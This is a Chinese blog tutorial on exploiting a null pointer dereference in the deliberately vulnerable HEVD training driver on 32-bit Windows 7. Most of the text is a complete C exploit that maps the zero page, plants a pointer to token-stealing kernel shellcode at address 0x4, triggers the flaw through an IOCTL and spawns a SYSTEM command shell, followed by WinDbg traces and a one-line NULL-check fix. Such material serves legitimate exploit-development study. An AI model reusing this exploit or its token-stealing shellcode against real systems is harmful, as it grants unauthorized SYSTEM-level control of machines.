windows内核之Null指针解引用(四)


0x00 前言


Windows内核系列:

  1. windows内核之栈溢出(一)
  2. windows内核之任意地址写入(二)
  3. windows内核之UAF(三)

## 0x01漏洞原理


解引用:
测试示例源码

#include <iostream>
using namespace std;
int main(){
    int *p ,a=6;
    p=&a;
    cout<<p<<endl;    //没有解引用,输出a的内存地址
    cout<<*p<<endl;    //解引用,输出a指向的值
    return 0;
}

生成:

0058FB04
6

所以当*pNULL,且被引用时,我们可以申请0x00000000内存空间,然后重写0x00000000地址的指针指向我们的shellcode进而达到利用

0x02 漏洞缺陷定位


漏洞分析

函数调用流程:先判断我们传入的值地址是否在Ring3中,然后申请一块池空间,然后判断传入值是否为0xBAD0B0B0,相等则将申请的池空间首地址数据写为0xBAD0B0B0,然后将池空间首地址重写为指向NullPointerDereferenceObjectCallback的地址,不相等则将申请的池空间释放然后设置为NULL,然后没有做验证就直接引用NullPointerDereference->Callback(),所以错误就在此处了,当指针值为NULL,但是被调用为指向某块地址,所以存在Null指针引用缺陷。
image01.png
- 从伪代码上看,可以看到上面第37行直接调用了0x00000004这个地址指向的数据作为函数起点来执行,但根据经验来说,这实际是个解引用。

下面是漏洞函数TriggerNullPointerDereference的调用流程
image02.png

0x03 溢出利用


根据上面的分析我们可以得知,只要传入的地址值不为0xBAD0B0B0,然后申请一个零页的内存空间0x0~0xFFF,然后将我们的指向shellcode函数的指针放在0x00000004,然后调用TriggerNullPointerDereference即可触发缺陷利用,在Win7中我们可以使用NtAllocateVirtualMemory来申请到零页的内存空间。
EXP如下:(release模式、win32生成即可)

#include<stdio.h>
#include<Windows.h>


#define Null_Pointer_Dereference 0x22202b

HANDLE hDevice = NULL;

typedef NTSTATUS
(WINAPI* nNtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );

nNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;



BOOL init()     //载入驱动HEVD.sys
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

static VOID Cmd()     //一个调用本进程Token创建CMD的函数
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
static VOID ShellCode()
{
    _asm
    {
        //int 3
        pop edi
        pop esi
        pop ebx
        pushad
        mov eax, fs: [124h]        // 找到当前线程的_KTHREAD结构
        mov eax, [eax + 0x50]   // 找到_EPROCESS结构
        mov ecx, eax
        mov edx, 4                // edx = system PID(4)

        // 循环是为了获取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]    // 找到进程活动链表
        sub eax, 0xb8            // 链表遍历
        cmp[eax + 0xb4], edx   // 根据PID判断是否为SYSTEM
        jnz find_sys_pid

        // 替换Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret
    }
}

VOID Exec_shellcode()
{
    DWORD bReturn = 0;
    char buf[4] = { 0 };
    *(PDWORD32)(buf) = 0xBAD0B0B0+1;    //这里是传入的指针指向内容不为0xBAD0B0B0进而调用else的代码

    *(PVOID*)& NtAllocateVirtualMemory = GetProcAddress(
        GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");

    if (NtAllocateVirtualMemory == NULL)
    {
        printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
        system("pause");
        return 0;
    }

    PVOID Zero_addr = (PVOID)1;
    SIZE_T RegionSize = 0x8;

    printf("[+]Started to alloc zero page...\n");
    if (NtAllocateVirtualMemory(
        INVALID_HANDLE_VALUE,
        &Zero_addr,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE) < NULL || Zero_addr != NULL)
    {
        printf("[+]Failed to alloc zero page!\n");
        system("pause");
        return 0;
    }

    printf("[+]Success to alloc zero page...\n");
    *(DWORD*)(0x4) = (DWORD)& ShellCode;

    DeviceIoControl(hDevice, Null_Pointer_Dereference, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    Exec_shellcode();

    printf("[+]Start to Create cmd...\n");
    Cmd();
    system("pause");

    return 0;
}

利用成功:

image03.png


获取TriggerNullPointerDereference的IOCTL

根据IDA分析可得0x22202B
image04.png

#define Null_Pointer_Dereference 0x22202B

调用NtAllocateVirtualMemory函数申请内存空间

一般来说我们常用的申请内存空间函数都是:VirtualAlloc,但是这个函数是不允许在零页上申请内存空间的,所以我们需要使用到NtAllocateVirtualMemory来申请内存空间

  1. 创建NtAllocateVirtualMemory的函数形参指针

typedef NTSTATUS (WINAPI* nNtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );

  1. ntdll上获取到NtAllocateVirtualMemory的函数地址

```
nNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

(PVOID)& NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),"NtAllocateVirtualMemory");

3. 调用`NtAllocateVirtualMemory`
- 当参数2设置为1时,将会自动向下取整整个页面大小,写入0时则由系统来给你定,我们这里是0页,所以要自己定位置

PVOID Zero_addr = (PVOID)1;

- 配置申请的内存空间

SIZE_T RegionSize = 0x8; //申请的内存空间大小跟一个内存地址长度即可

- 调用`NtAllocateVirtualMemory`

NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)

#### 在申请的0页内存空间上重写`0x00000004`指针
即:将0x00000004内存覆盖为shellcode函数的地址

(DWORD)(0x4) = (DWORD)& ShellCode;

#### 获取系统进程Token进行提权

static VOID ShellCode()
{
_asm
{
//int 3
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8]    // 找到进程活动链表
sub eax, 0xb8            // 链表遍历
cmp[eax + 0xb4], edx   // 根据PID判断是否为SYSTEM
jnz find_sys_pid

// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret

}

}

#### 执行利用

DeviceIoControl(hDevice, Null_Pointer_Dereference, buf, 4, NULL, 0, &bReturn, NULL);

#### 创建一个本进程Token的CMD进程

static VOID Cmd() //一个调用本进程Token创建CMD的函数
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

### 动态调试分析

- 找到`TriggerNullPointerDereference`地址

kd> x HEVD!TriggerNullPointerDereference
969ddade HEVD!TriggerNullPointerDereference (void *)

- 找到IDA分析到的函数调用入口

即:

((void (*)(void))v1[1])();

它的反汇编为:

PAGE:00445C1E add esp, 0Ch
PAGE:00445C21 call dword ptr [edi+4]
PAGE:00445C24 jmp short loc_445C4D

kd> u 969ddade+140 l 10
969ddc1e 83c40c add esp,0Ch
969ddc21 ff5704 call dword ptr [edi+4]
969ddc24 eb27 jmp HEVD!TriggerNullPointerDereference+0x16f (969ddc4d)
969ddc26 8b45ec mov eax,dword ptr [ebp-14h]
969ddc29 8b00 mov eax,dword ptr [eax]
969ddc2b 8b00 mov eax,dword ptr [eax]
969ddc2d 8945e4 mov dword ptr [ebp-1Ch],eax
969ddc30 33c0 xor eax,eax
.......

- 在入口下断点

bp 969ddc1e

- 运行虚拟机,运行我们的`exp.exe`文件触发断点
- p步过

![image05.png](https://storage.tttang.com/media/attachment/2022/01/11/abc7d618-c549-4900-9909-56b4fb31390e.png)
上图可以看到当我们到达`call    dword ptr [edi+4]`这条指令时的edi为`0x00000000`,所以这里就是我们的漏洞缺陷位置
我们查看0x00000000的内存空间情况

kd> dd 0x00000000
00000000 00000000 011c1040 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000

可以知道`0x00000004`即为我们载入的shellcode地址

- t步入查看是否已经执行到我们的shellcode上

![image06.png](https://storage.tttang.com/media/attachment/2022/01/11/eb1ed6f5-026f-42a4-8aa7-9bba49222a41.png)
可以看到我们已经执行到我们的shellcode上


## 0x04 修复方案
添加`NullPointerDereference`的检测是否为NULL的判断

if (NullPointerDereference)
{
NullPointerDereference->Callback();
}

```

历史CVE:

  • CVE-2018-8120

参考链接:

评论

misift_Zero

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

安全管理 文章:7 篇
Ruby安全 文章:2 篇
Python安全 文章:13 篇
Windows安全 文章:88 篇
企业安全 文章:40 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录